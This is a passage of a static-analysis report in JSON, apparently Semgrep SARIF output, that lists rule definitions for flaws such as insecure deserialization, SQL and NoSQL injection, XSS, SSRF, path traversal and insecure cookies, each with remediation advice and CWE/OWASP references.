Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django","id":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","name":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pickle-django.tainted-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"help":{"markdown":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection","id":"swift.lang.storage.storage-protections.swift-data-protection","name":"swift.lang.storage.storage-protections.swift-data-protection","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.storage-protections.swift-data-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"help":{"markdown":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set","id":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","name":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","properties":{"precision":"very-high","tags":["CWE-780: Use of RSA Algorithm without OAEP","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.rsa-padding-set.rsa-padding-set"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","id":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","name":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false","id":"csharp.lang.audit.cookies.secure-false.secure-false","name":"csharp.lang.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","id":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","name":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"help":{"markdown":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb)\n","text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false","id":"ruby.lang.security.force-ssl-false.force-ssl-false","name":"ruby.lang.security.force-ssl-false.force-ssl-false","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.force-ssl-false.force-ssl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","id":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","name":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","id":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","name":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","id":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","name":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script)\n - [https://brightsec.com/blog/cross-site-scripting-php/](https://brightsec.com/blog/cross-site-scripting-php/)\n - [https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting](https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","id":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","name":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","id":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","name":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","id":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","name":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"help":{"markdown":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false)\n - [https://platform.openai.com/docs/actions/consequential-flag](https://platform.openai.com/docs/actions/consequential-flag)\n - 